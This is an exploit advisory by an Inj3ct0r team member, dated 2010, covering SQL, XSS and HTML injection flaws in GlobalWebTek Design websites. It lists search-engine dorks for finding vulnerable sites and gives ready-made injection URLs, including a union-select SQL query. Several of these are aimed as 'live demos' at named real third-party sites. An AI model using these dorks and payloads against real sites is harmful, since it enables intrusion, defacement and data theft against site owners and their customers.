======================================================================= # GlobalWebTek Design Multiple Vulnerabilities ==== 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 #################################### 1 0 I'm XroGuE member from Inj3ct0r Team 1 1 #################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1 ######################################################################## # Name: GlobalWebTek Design Multiple Vulnerabilities # Vendor: http://www.globalwebtek.com/ # Date: 2010-05-27 # Author: XroGuE # Thanks to: Inj3ct0r.com,Exploit-DB.com,SecurityReason.com,Hack0wn.com ! # Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com # Home: (-_+) ######################################################################## [+] Dork: intext:"Powered by GlobalWebTek" inurl: productos.php?CAT= inurl: detalle_productos.php?famid= [+] Vulnerabilities: http://[target]/productos.php?CAT=[SQL/XSS/HTML] http://[target]/detalle_productos.php?famid=[SQL/XSS/HTML] [+] XSS InjecTion Vulnerability: [+] Live Demo: http://www.nassa.com.ve/detalle_productos.php?famid=<script>alert(/XroGuE/);</script> http://www.centromueble.com.ve/productos.php?CAT=<script>alert(/XroGuE/);</script> ######################################################################## [+] HTML InjecTion Vulnerability: [+] Live Demo: http://www.nassa.com.ve/detalle_productos.php?famid=<marquee><font color=red size=15>XroGuE</font></marquee> http://www.centromueble.com.ve/productos.php?CAT=<marquee><font color=red size=15>XroGuE</font></marquee> ######################################################################## [+] SQL InjecTion Vulnerability: [+] Live Demo: http://www.centromueble.com.ve/productos.php?CAT=-999+union+select+1,2,3,version(),5 ########################################################################